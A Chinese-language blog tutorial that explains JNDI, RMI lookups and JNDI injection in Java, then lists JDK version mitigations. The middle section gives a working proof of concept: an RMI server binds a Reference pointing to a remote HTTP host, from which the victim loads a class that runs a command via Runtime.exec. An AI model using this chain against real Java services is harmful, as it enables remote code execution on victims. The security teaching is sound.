一、什么是JNDI

JNDI全称为Java命名和目录接口。我们可以理解为JNDI提供了两个服务,即命名服务和目录服务。

​ 命名服务将一个对象和一个名称进行绑定,然后放置到一个容器里面。当我们想要获取这个对象的时候,就可以通过容器来查找这个名称,从而获得这个对象。

​ 目录服务就是将一些对象的属性放置到容器中,然后想要操作这个属性的时候,就通过容器来进行查找。

​ 对比一下命名服务和目录服务,其实命名服务就是绑定对象,而目录服务就是绑定了对象的属性。在JNDI中,命名服务和目录服务是一起结合提供的,最容易理解的一个例子就是RMI

​ 在RMI的服务端,通常我们会将一个远程对象和一个名称进行绑定,然后将其注册到注册表里面。除了通过RMI来实现客户端从而获取到对象之外,还可以使用JNDI来获取对象。JNDI其实就是对这些提供了命名服务或者目录服务的逻辑进行了一个封装,例如上面的RMI,我们可以直接调用JNDI提供的lookup函数来远程获取,例如:lookup("rmi://127.0.0.1/bind");如果提供服务的是LDAP,我们同样可以通过lookup("ldap://127.0.0.1/")来进行访问。

​ 通过上面这个例子,不难看出JNDI其实就是对这些服务的访问做了一个统一的处理。

二、JNDI的简单实践

​ 通过上面的介绍,我们知道,想要实现JNDI,我们首先得需要一个容器,然后我们将一个对象绑定到容器里面。(这里结合RMI来实现一个简单的示例)

1、创建一个远程调用对象

​ 首先创建一个接口,继承Remote接口:

public interface RemoteMethod extends Remote {
    public void sayBye() throws RemoteException;
}

​ 创建一个远程对象,实现该接口,并继承UnicastRemoteObject类:

class M1sn0w extends UnicastRemoteObject implements RemoteMethod {
    public String name;
    public int age;
    public M1sn0w(String name,int age) throws RemoteException {
        super();
        this.age = age;
        this.name = name;
    }
    public void sayBye(){
        System.out.println("say bye!!");
    }
}

2、开启RMI服务端

​ 创建一个RMI服务端,并将一个远程对象绑定到注册表中:

public class Server {
    public static void main(String[] args) throws RemoteException, MalformedURLException, AlreadyBoundException {
        M1sn0w m1sn0w = new M1sn0w("m1sn0w",22);
        LocateRegistry.createRegistry(1099);
        Naming.bind("m1sn0w",m1sn0w);
    }
}

3、利用JNDI远程获取对象

​ 我们想要使用JNDI来远程获取对象,首先得需要获取一个容器,我们先看如下实例代码:

public class jndi {
    public static void main(String[] args) throws RemoteException, NamingException {
        Properties env = new Properties();
      env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
        env.put(Context.PROVIDER_URL,"rmi://127.0.0.1:1099");
        Context ctx = new InitialContext(env);
        RemoteMethod remoteMethod = (RemoteMethod) ctx.lookup("m1sn0w");
        remoteMethod.sayBye();
    }
}

Context.PROVIDER_URL参数表示指定一个远程加载的地址,例如上面的rmi://127.0.0.1:1099,当我们通过lookup函数进行查找对象的时候,其实就是在rmi://127.0.0.1:1099/m1sn0w这个里面进行的查找。

​ 最后远程调用方法之后,会在服务端执行代码,将结果返回给JNDI客户端。

三、JNDI注入漏洞

​ 通过上面的这个例子,我们可以知道,通过JNDI可以远程加载对象。除了通过上面的Context.PROVIDER_URL来设置URL以外,我们可以直接在lookup参数指定URL,例如lookup("rmi://127.0.0.1:1099/m1sn0w"),由于JNDI存在一个动态地址转换协议,也就是说当我们在lookup上指定一个URL的时候,就会优先于Context.PROVIDER_URL的设置进行加载。

​ 至此,就可以想到,如果这个lookup参数可控的话,那么我们就可以传入恶意的url地址来控制受害者加载攻击者指定的恶意类。但是这里又会遇到一个问题,就是怎么进行攻击呢?

​ 当我们指定一个恶意的URL地址之后,受害者在获取完这个远程对象之后,开始调用恶意方法。但是在RMI中,调用远程方法,最终的执行是服务端去执行。只是把最终的结果以序列化的形式传递给客户端,也就是这里所说的受害者。当然,如果受害者内部存在漏洞组件存在反序列化漏洞的话,我们可以构造恶意的序列化对象,返回给客户端,当客户端在进行反序列化的时候,可以触发漏洞;如果目标组件不存在反序列化漏洞,我们返回一个恶意对象,但是客户端本地没有这个class文件,当然也就不能成功获取到这个对象。

四、Reference

​ 为了解决上面这个问题,我们引入了一个Reference类,这个类表示对存在于命名或者目录系统以外的对象的引用。简单理解一下,就是如果RMI服务端返回的是一个Reference对象或者其子类对象的话,当客户端获取远程对象Stub的时候,我们就可以指定客户端从一个具体的服务端上去加载class文件从而完成这个类的实例化。

Reference类实例化需要三个参数:

className:表示远程加载时所使用的类名
classFactory:加载class中需要实例类的名称
classFactoryLocation:指定远程加载类的地址

​ 例如我们创建如下Reference类实例,并将其绑定到注册表中:

public class Server {
    public static void main(String[] args) throws NamingException, RemoteException, MalformedURLException, AlreadyBoundException {
        Reference reference = new Reference("111","evil","http://148.70.205.134:8080/");
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        LocateRegistry.createRegistry(1099);
        Naming.bind("m1sn0w",referenceWrapper);
    }
}

​ 然后编写一个evil.java恶意类,编译之后,将evil.class上传到服务器上:

import java.io.IOException;
public class evil {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();  
        }
    }
}

​ 之后使用JNDI来远程获取这个绑定的对象,最终会在本地弹出计算器框:

public static void main(String[] args) throws NamingException {
        Properties env = new Properties();
        env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
        env.put(Context.PROVIDER_URL,"rmi://127.0.0.1:1099");
        Context ctx = new InitialContext(env);
        ctx.lookup("m1sn0w");
    }

image-20211228115153229

​ 这里有几个坑需要注意一下:

​ 1、首先就是jdk的版本,后面我们会再提,高版本的jkd做了限制,因此实验使用jkd1.7版本

​ 2、恶意类中不要带package包名,否则可能会报错

​ 我们梳理一下整个调用流程。首先我们创建了一个Reference实例对象,这三个参数表示的意思为:当远程加载对象之后,会先从本地找111.class文件是否存在,如果不存在,则从远程服务端http://148.70.205.134:8080中查找evil.class文件。接下来使用了ReferenceWrapper来包裹Reference是,原因是远程对象需要继承UnicastRemoteObject类,而Reference类并没有对该类进行继承,因此我们需要封装一下,跟进ReferenceWrapper类,可以发现其继承了UnicastRemoteObject类:

image-20211228115847357

​ 到此,我们对JNDI注入攻击有了一个大致的了解。对于JNDI注入漏洞,我们的攻击方式如下:(利用RMI

​ 1、在存在注入的地方利用RMI远程加载,指向恶意的URL

​ 2、我们在恶意的URL上搭建一个RMI服务,并绑定一个Reference对象,并指定恶意类的加载路径

​ 3、在服务端上放置恶意类编译后的class文件

五、官网修复策略

最后我们来看一下,针对不同的JDK版本,官方给出了一些限制:

1、JDK 6u45、7u21之后:java.rmi.server.useCodebaseOnly的默认值被设置为true,表示禁用自动加载远程类文件。

2、JDK 6u141、7u131、8u121之后:增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMICORBA协议使用远程codebase的选项。

3、JDK 6u211、7u201、8u191之后:增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议使用远程codebase的选项

Logo

为开发者提供学习成长、分享交流、生态实践、资源工具等服务,帮助开发者快速成长。

更多推荐